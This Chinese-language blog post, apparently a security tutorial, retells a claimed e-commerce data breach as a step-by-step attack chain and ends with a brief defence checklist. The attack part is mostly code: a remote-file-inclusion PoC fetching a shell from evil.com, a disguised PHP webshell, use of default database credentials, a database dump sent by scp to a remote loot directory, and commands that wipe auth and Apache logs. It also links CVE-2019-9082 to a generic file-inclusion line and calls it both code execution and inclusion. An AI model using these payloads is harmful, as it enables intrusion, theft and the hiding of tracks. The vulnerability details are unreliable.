一、从某电商平台数据泄露说起

2023年年初,一家知名电商平台被曝出其用户数据在地下黑市公开售卖,涉及数百万用户的敏感信息。起初,平台方声称是“内部人员操作不当”,但随着更多细节被披露,安全圈发现,这是一场精心策划的红队攻击案例。攻击者利用了多个漏洞,从信息收集到权限提升,再到内网横向移动,最终成功窃取了核心数据库中的用户信息。

今天,通过这起真实安全事件,我们来聊聊网络安全圈子里的那些门道:从漏洞挖掘到渗透技巧、从攻击工具到防御思路,尝试还原攻击者的全链路操作。

---

二、0x01 攻击起点:信息收集的艺术

在每一次攻击行动中,情报收集是至关重要的一环。攻击者需要知道目标有哪些漏洞可以利用。以这起事件为例,攻击者通过公开的信息收集和简单扫描,就已经掌握了:

黑客示意图

  1. 电商平台的子域名和对应 IP 地址;
  2. 哪些 Web 应用使用了老旧的框架(如ThinkPHP老版本);
  3. 是否暴露了敏感端点(如未授权的管理后台)。

黑客示意图

1. 如何高效收集目标信息?

攻击者通常会用以下工具进行初步调查:

  • 子域名收集:工具如 Amasssubfinder
  • 端口扫描:使用 nmap 确定目标服务的开放端口。
  • 指纹识别:比如 whatwebWappalyzer 可快速识别 Web 服务框架和版本。

以下是一段简单的自动化信息收集脚本:

<pre><code class="language-bash">#!/bin/bash

快速收集目标信息的脚本

TARGET=$1

echo &quot;[*] 收集子域名...&quot; subfinder -d $TARGET | tee subdomains.txt

echo &quot;[*] 扫描端口...&quot; nmap -iL subdomains.txt -p 80,443 -oN ports.txt

echo &quot;[*] 检测指纹...&quot; while read domain; do whatweb $domain &gt;&gt; fingerprints.txt done &lt; subdomains.txt

echo &quot;[*] 信息收集完成,结果存储于当前目录。&quot;</code></pre>

2. 实战案例:找出老旧的Web服务

在这起事件中,攻击者发现目标使用了一款老旧的 ThinkPHP 框架。通过公开的 CVE 库,他们锁定了一个未修复的远程代码执行漏洞(CVE-2019-9082)。攻击者准备了一份定制化的 Payload,用以触发漏洞。

---

三、0x02 Payload构造的艺术:从漏洞利用到权限提升

成功发现漏洞后,接下来的问题是如何武器化。攻击者通过精心构造的 Payload,利用了 ThinkPHP 的文件包含漏洞。

1. 漏洞成因分析

ThinkPHP 的某些版本中,在处理路由参数时,未对用户输入进行严格校验,导致攻击者可以通过精心构造的请求,执行任意代码。以下是漏洞触发的关键一行代码:

<pre><code class="language-php">include($_GET[&#039;file&#039;]);

如果开发者未对 &#039;file&#039; 参数做过滤, 攻击者可以注入恶意文件路径。</code></pre>

2. 漏洞利用代码(Python实现)

攻击者构造了以下 PoC 来触发漏洞,并获得 WebShell:

<pre><code class="language-python">import requests

目标 URL

target = &quot;http://example.com/index.php&quot;

构造恶意 payload,指向 /etc/passwd 或者远程 URL

payload = { &quot;file&quot;: &quot;http://evil.com/shell.php&quot; }

发送请求

response = requests.get(target, params=payload)

if response.status_code == 200: print(&quot;[+] 漏洞利用成功!&quot;) else: print(&quot;[-] 漏洞利用失败。&quot;)</code></pre>

通过这种方式,攻击者在目标服务器上植入了一个 WebShell,用以进一步操作。

---

四、0x03 绕过检测:免杀与对抗的技巧

攻击者在植入 WebShell 后,面临的第一个问题是如何躲避安全设备(如 WAF 和 EDR)的检测。以下是常见的免杀技巧:

1. WebShell伪装

攻击者会将恶意代码隐藏在看似正常的代码中。例如,将 WebShell 嵌套到正常的图片上传脚本中:

<pre><code class="language-php">&lt;?php if(isset($_POST[&#039;cmd&#039;])) { system($_POST[&#039;cmd&#039;]); // WebShell 功能 } else { echo &quot;图片上传成功!&quot;; // 表面功能 } ?&gt;</code></pre>

黑客示意图

2. 流量伪装

攻击者可能会通过编码或混淆技术来躲避流量检测。例如,将敏感数据用 Base64 编码后传输:

<pre><code class="language-bash"># 将命令结果用Base64编码 echo &quot;ls -al&quot; | base64</code></pre>

3. 内存加载免杀

为了躲避杀软,攻击者可以选择不写文件到磁盘,而是直接将恶意代码加载到内存中。这种技术需要结合工具(如 Cobalt Strike)实现。

黑客示意图

---

五、0x04 横向移动:如何掏空内网

拿下 WebShell 只是起点,攻击者的真正目标是核心数据库。因此,他们继续向内网渗透。

1. 利用默认配置

这次攻击中,数据库的默认用户名和密码没有修改,攻击者轻松绕过验证,使用 mysql -u root -p 登录数据库。

2. 权限提升与利用

攻击者发现,目标服务器运行了一个老旧内核的 Linux 系统,存在本地提权漏洞(CVE-2022-0847)。随后,他们使用以下 EXP 提升权限:

<pre><code class="language-c">// Dirty Pipe 漏洞提权代码片段

include &lt;fcntl.h&gt;

include &lt;unistd.h&gt;

int main() { // 此处省略,完整 EXP 请参考公开资源。 }</code></pre>

通过提权,攻击者获得了 root 权限,可以任意操作整个服务器。

---

六、0x05 数据窃取与清除痕迹

最终目标是数据窃取。攻击者通过以下命令将数据库内容打包并上传到远程服务器:

<pre><code class="language-bash"># 导出数据库 mysqldump -u root -p ecommerce_db &gt; dump.sql

压缩并上传

tar -czvf data.tar.gz dump.sql scp data.tar.gz [email protected]:/loot/</code></pre>

在完成窃取后,为了避免被追踪,攻击者清除了所有日志:

<pre><code class="language-bash"># 清除日志 echo &quot;&quot; &gt; /var/log/auth.log echo &quot;&quot; &gt; /var/log/apache2/access.log</code></pre>

---

七、0x06 从攻防中总结经验

攻击者的这次行动,可以用“教科书式”的攻击链来形容。对于甲方安全团队,我们可以从以下几个方面提升防御能力:

  1. 漏洞管理:定期扫描并修复老旧系统漏洞,比如升级 ThinkPHP。
  2. 强认证配置:禁用默认密码,强制使用复杂密码。
  3. 实时监控:部署 HIDS/NIDS(如 Osquery)监控系统行为。
  4. 日志分析:通过 SIEM 平台分析异常日志,及时发现入侵行为。

红队攻击的本质是“发现与利用”。作为防守方,我们需要用攻击者的视角来审视系统的薄弱点,才能有效提升安全性。